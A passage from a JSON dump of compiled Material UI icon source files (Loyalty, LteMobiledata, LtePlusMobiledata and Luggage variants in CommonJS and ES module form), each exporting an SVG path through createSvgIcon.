    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.41 11.58-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42M5.5 7C4.67 7 4 6.33 4 5.5S4.67 4 5.5 4 7 4.67 7 5.5 6.33 7 5.5 7m11.77 8.27-3.92 3.92c-.2.2-.51.2-.71 0l-3.92-3.92c-.57-.58-.87-1.43-.67-2.34.19-.88.89-1.61 1.76-1.84.94-.25 1.85.04 2.44.65l.75.72.73-.73c.45-.45 1.08-.73 1.77-.73 1.38 0 2.5 1.12 2.5 2.5 0 .69-.28 1.32-.73 1.77\"\n}), 'LoyaltyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LoyaltySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.83 2H2v9.83l10.99 11s1.05-1.05 1.41-1.42L22.82 13zM5.5 7C4.67 7 4 6.33 4 5.5S4.67 4 5.5 4 7 4.67 7 5.5 6.33 7 5.5 7M13 19.54l-4.27-4.27C8.28 14.81 8 14.19 8 13.5c0-1.38 1.12-2.5 2.5-2.5.69 0 1.32.28 1.77.74l.73.72.73-.73c.45-.45 1.08-.73 1.77-.73 1.38 0 2.5 1.12 2.5 2.5 0 .69-.28 1.32-.73 1.77z\"\n}), 'LoyaltySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LoyaltySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.83 2H2v9.83l10.99 11s1.05-1.05 1.41-1.42L22.82 13zM5.5 7C4.67 7 4 6.33 4 5.5S4.67 4 5.5 4 7 4.67 7 5.5 6.33 7 5.5 7M13 19.54l-4.27-4.27C8.28 14.81 8 14.19 8 13.5c0-1.38 1.12-2.5 2.5-2.5.69 0 1.32.28 1.77.74l.73.72.73-.73c.45-.45 1.08-.73 1.77-.73 1.38 0 2.5 1.12 2.5 2.5 0 .69-.28 1.32-.73 1.77z\"\n}), 'LoyaltySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LoyaltyTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 4H4v7l9 9.01L20 13zM6.5 8C5.67 8 5 7.33 5 6.5S5.67 5 6.5 5 8 5.67 8 6.5 7.33 8 6.5 8m6.5 3.7.6-.6c.37-.37.89-.6 1.45-.6 1.13 0 2.05.92 2.05 2.05 0 .57-.23 1.08-.6 1.45L13 17.5 9.5 14c-.37-.38-.6-.89-.6-1.45 0-1.13.92-2.05 2.05-2.05.57 0 1.08.23 1.45.61z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.41 11.58-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42M13 20.01 4 11V4h7v-.01l9 9z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"6.5\",\n  cy: \"6.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.9 12.55c0 .57.23 1.07.6 1.45l3.5 3.5 3.5-3.5c.37-.37.6-.89.6-1.45 0-1.13-.92-2.05-2.05-2.05-.57 0-1.08.23-1.45.6l-.6.6-.6-.59c-.37-.38-.89-.61-1.45-.61-1.13 0-2.05.92-2.05 2.05\"\n}, \"3\")], 'LoyaltyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LoyaltyTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 4H4v7l9 9.01L20 13zM6.5 8C5.67 8 5 7.33 5 6.5S5.67 5 6.5 5 8 5.67 8 6.5 7.33 8 6.5 8m6.5 3.7.6-.6c.37-.37.89-.6 1.45-.6 1.13 0 2.05.92 2.05 2.05 0 .57-.23 1.08-.6 1.45L13 17.5 9.5 14c-.37-.38-.6-.89-.6-1.45 0-1.13.92-2.05 2.05-2.05.57 0 1.08.23 1.45.61z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.41 11.58-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42M13 20.01 4 11V4h7v-.01l9 9z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"6.5\",\n  cy: \"6.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.9 12.55c0 .57.23 1.07.6 1.45l3.5 3.5 3.5-3.5c.37-.37.6-.89.6-1.45 0-1.13-.92-2.05-2.05-2.05-.57 0-1.08.23-1.45.6l-.6.6-.6-.59c-.37-.38-.89-.61-1.45-.61-1.13 0-2.05.92-2.05 2.05\"\n}, \"3\")], 'LoyaltyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LteMobiledata.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 14h3v2H4V8h2zm3-4h2v6h2v-6h2V8H9zm12 0V8h-5v8h5v-2h-3v-1h3v-2h-3v-1z\"\n}), 'LteMobiledata');"
  },
  {
    "path": "packages/mui-icons-material/lib/LteMobiledata.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 14h3v2H4V8h2zm3-4h2v6h2v-6h2V8H9zm12 0V8h-5v8h5v-2h-3v-1h3v-2h-3v-1z\"\n}), 'LteMobiledata');"
  },
  {
    "path": "packages/mui-icons-material/lib/LteMobiledataOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 14h3v2H4V8h2zm3-4h2v6h2v-6h2V8H9zm12 0V8h-5v8h5v-2h-3v-1h3v-2h-3v-1z\"\n}), 'LteMobiledataOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LteMobiledataOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 14h3v2H4V8h2zm3-4h2v6h2v-6h2V8H9zm12 0V8h-5v8h5v-2h-3v-1h3v-2h-3v-1z\"\n}), 'LteMobiledataOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LteMobiledataRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 14h2c.55 0 1 .45 1 1s-.45 1-1 1H5c-.55 0-1-.45-1-1V9c0-.55.45-1 1-1s1 .45 1 1zm4-4h1v5c0 .55.45 1 1 1s1-.45 1-1v-5h1c.55 0 1-.45 1-1s-.45-1-1-1h-4c-.55 0-1 .45-1 1s.45 1 1 1m11-1c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1h3c.55 0 1-.45 1-1s-.45-1-1-1h-2v-1h2c.55 0 1-.45 1-1s-.45-1-1-1h-2v-1h2c.55 0 1-.45 1-1\"\n}), 'LteMobiledataRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LteMobiledataRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 14h2c.55 0 1 .45 1 1s-.45 1-1 1H5c-.55 0-1-.45-1-1V9c0-.55.45-1 1-1s1 .45 1 1zm4-4h1v5c0 .55.45 1 1 1s1-.45 1-1v-5h1c.55 0 1-.45 1-1s-.45-1-1-1h-4c-.55 0-1 .45-1 1s.45 1 1 1m11-1c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1h3c.55 0 1-.45 1-1s-.45-1-1-1h-2v-1h2c.55 0 1-.45 1-1s-.45-1-1-1h-2v-1h2c.55 0 1-.45 1-1\"\n}), 'LteMobiledataRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LteMobiledataSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 14h3v2H4V8h2zm3-4h2v6h2v-6h2V8H9zm12 0V8h-5v8h5v-2h-3v-1h3v-2h-3v-1z\"\n}), 'LteMobiledataSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LteMobiledataSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 14h3v2H4V8h2zm3-4h2v6h2v-6h2V8H9zm12 0V8h-5v8h5v-2h-3v-1h3v-2h-3v-1z\"\n}), 'LteMobiledataSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LteMobiledataTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 14h3v2H4V8h2zm3-4h2v6h2v-6h2V8H9zm12 0V8h-5v8h5v-2h-3v-1h3v-2h-3v-1z\"\n}), 'LteMobiledataTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LteMobiledataTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 14h3v2H4V8h2zm3-4h2v6h2v-6h2V8H9zm12 0V8h-5v8h5v-2h-3v-1h3v-2h-3v-1z\"\n}), 'LteMobiledataTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LtePlusMobiledata.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 14h3v2H1V8h2zm2-4h2v6h2v-6h2V8H5zm7 6h5v-2h-3v-1h3v-2h-3v-1h3V8h-5zm12-5h-2V9h-2v2h-2v2h2v2h2v-2h2z\"\n}), 'LtePlusMobiledata');"
  },
  {
    "path": "packages/mui-icons-material/lib/LtePlusMobiledata.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 14h3v2H1V8h2zm2-4h2v6h2v-6h2V8H5zm7 6h5v-2h-3v-1h3v-2h-3v-1h3V8h-5zm12-5h-2V9h-2v2h-2v2h2v2h2v-2h2z\"\n}), 'LtePlusMobiledata');"
  },
  {
    "path": "packages/mui-icons-material/lib/LtePlusMobiledataOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 14h3v2H1V8h2zm2-4h2v6h2v-6h2V8H5zm7 6h5v-2h-3v-1h3v-2h-3v-1h3V8h-5zm12-5h-2V9h-2v2h-2v2h2v2h2v-2h2z\"\n}), 'LtePlusMobiledataOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LtePlusMobiledataOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 14h3v2H1V8h2zm2-4h2v6h2v-6h2V8H5zm7 6h5v-2h-3v-1h3v-2h-3v-1h3V8h-5zm12-5h-2V9h-2v2h-2v2h2v2h2v-2h2z\"\n}), 'LtePlusMobiledataOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LtePlusMobiledataRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 14h2c.55 0 1 .45 1 1s-.45 1-1 1H2c-.55 0-1-.45-1-1V9c0-.55.45-1 1-1s1 .45 1 1zm3-4h1v5c0 .55.45 1 1 1s1-.45 1-1v-5h1c.55 0 1-.45 1-1s-.45-1-1-1H6c-.55 0-1 .45-1 1s.45 1 1 1m7 6h3c.55 0 1-.45 1-1s-.45-1-1-1h-2v-1h2c.55 0 1-.45 1-1s-.45-1-1-1h-2v-1h2c.55 0 1-.45 1-1s-.45-1-1-1h-3c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1m10-5h-1v-1c0-.55-.45-1-1-1s-1 .45-1 1v1h-1c-.55 0-1 .45-1 1s.45 1 1 1h1v1c0 .55.45 1 1 1s1-.45 1-1v-1h1c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'LtePlusMobiledataRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LtePlusMobiledataRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 14h2c.55 0 1 .45 1 1s-.45 1-1 1H2c-.55 0-1-.45-1-1V9c0-.55.45-1 1-1s1 .45 1 1zm3-4h1v5c0 .55.45 1 1 1s1-.45 1-1v-5h1c.55 0 1-.45 1-1s-.45-1-1-1H6c-.55 0-1 .45-1 1s.45 1 1 1m7 6h3c.55 0 1-.45 1-1s-.45-1-1-1h-2v-1h2c.55 0 1-.45 1-1s-.45-1-1-1h-2v-1h2c.55 0 1-.45 1-1s-.45-1-1-1h-3c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1m10-5h-1v-1c0-.55-.45-1-1-1s-1 .45-1 1v1h-1c-.55 0-1 .45-1 1s.45 1 1 1h1v1c0 .55.45 1 1 1s1-.45 1-1v-1h1c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'LtePlusMobiledataRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LtePlusMobiledataSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 14h3v2H1V8h2zm2-4h2v6h2v-6h2V8H5zm7 6h5v-2h-3v-1h3v-2h-3v-1h3V8h-5zm12-5h-2V9h-2v2h-2v2h2v2h2v-2h2z\"\n}), 'LtePlusMobiledataSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LtePlusMobiledataSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 14h3v2H1V8h2zm2-4h2v6h2v-6h2V8H5zm7 6h5v-2h-3v-1h3v-2h-3v-1h3V8h-5zm12-5h-2V9h-2v2h-2v2h2v2h2v-2h2z\"\n}), 'LtePlusMobiledataSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LtePlusMobiledataTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 14h3v2H1V8h2zm2-4h2v6h2v-6h2V8H5zm7 6h5v-2h-3v-1h3v-2h-3v-1h3V8h-5zm12-5h-2V9h-2v2h-2v2h2v2h2v-2h2z\"\n}), 'LtePlusMobiledataTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LtePlusMobiledataTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 14h3v2H1V8h2zm2-4h2v6h2v-6h2V8H5zm7 6h5v-2h-3v-1h3v-2h-3v-1h3V8h-5zm12-5h-2V9h-2v2h-2v2h2v2h2v-2h2z\"\n}), 'LtePlusMobiledataTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Luggage.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 6h-2V3c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v3H7c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2 0 .55.45 1 1 1s1-.45 1-1h6c0 .55.45 1 1 1s1-.45 1-1c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2M9.5 18H8V9h1.5zm3.25 0h-1.5V9h1.5zm.75-12h-3V3.5h3zM16 18h-1.5V9H16z\"\n}), 'Luggage');"
  },
  {
    "path": "packages/mui-icons-material/lib/Luggage.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 6h-2V3c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v3H7c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2 0 .55.45 1 1 1s1-.45 1-1h6c0 .55.45 1 1 1s1-.45 1-1c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2M9.5 18H8V9h1.5zm3.25 0h-1.5V9h1.5zm.75-12h-3V3.5h3zM16 18h-1.5V9H16z\"\n}), 'Luggage');"
  },
  {
    "path": "packages/mui-icons-material/lib/LuggageOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.5 18H8V9h1.5zm3.25 0h-1.5V9h1.5zM16 18h-1.5V9H16zm1-12h-2V3c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v3H7c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2 0 .55.45 1 1 1s1-.45 1-1h6c0 .55.45 1 1 1s1-.45 1-1c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-6.5-2.5h3V6h-3zM17 19H7V8h10z\"\n}), 'LuggageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LuggageOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.5 18H8V9h1.5zm3.25 0h-1.5V9h1.5zM16 18h-1.5V9H16zm1-12h-2V3c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v3H7c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2 0 .55.45 1 1 1s1-.45 1-1h6c0 .55.45 1 1 1s1-.45 1-1c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-6.5-2.5h3V6h-3zM17 19H7V8h10z\"\n}), 'LuggageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LuggageRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 6h-2V3c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v3H7c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2 0 .55.45 1 1 1s1-.45 1-1h6c0 .55.45 1 1 1s1-.45 1-1c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2M8.75 18c-.41 0-.75-.34-.75-.75v-7.5c0-.41.34-.75.75-.75s.75.34.75.75v7.5c0 .41-.34.75-.75.75M12 18c-.41 0-.75-.34-.75-.75v-7.5c0-.41.34-.75.75-.75s.75.34.75.75v7.5c0 .41-.34.75-.75.75m1.5-12h-3V3.5h3zm1.75 12c-.41 0-.75-.34-.75-.75v-7.5c0-.41.34-.75.75-.75s.75.34.75.75v7.5c0 .41-.34.75-.75.75\"\n}), 'LuggageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LuggageRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 6h-2V3c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v3H7c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2 0 .55.45 1 1 1s1-.45 1-1h6c0 .55.45 1 1 1s1-.45 1-1c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2M8.75 18c-.41 0-.75-.34-.75-.75v-7.5c0-.41.34-.75.75-.75s.75.34.75.75v7.5c0 .41-.34.75-.75.75M12 18c-.41 0-.75-.34-.75-.75v-7.5c0-.41.34-.75.75-.75s.75.34.75.75v7.5c0 .41-.34.75-.75.75m1.5-12h-3V3.5h3zm1.75 12c-.41 0-.75-.34-.75-.75v-7.5c0-.41.34-.75.75-.75s.75.34.75.75v7.5c0 .41-.34.75-.75.75\"\n}), 'LuggageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LuggageSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 6h-4V2H9v4H5v15h2c0 .55.45 1 1 1s1-.45 1-1h6c0 .55.45 1 1 1s1-.45 1-1h2zM9.5 18H8V9h1.5zm3.25 0h-1.5V9h1.5zm.75-12h-3V3.5h3zM16 18h-1.5V9H16z\"\n}), 'LuggageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LuggageSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 6h-4V2H9v4H5v15h2c0 .55.45 1 1 1s1-.45 1-1h6c0 .55.45 1 1 1s1-.45 1-1h2zM9.5 18H8V9h1.5zm3.25 0h-1.5V9h1.5zm.75-12h-3V3.5h3zM16 18h-1.5V9H16z\"\n}), 'LuggageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LuggageTwoTone.js",
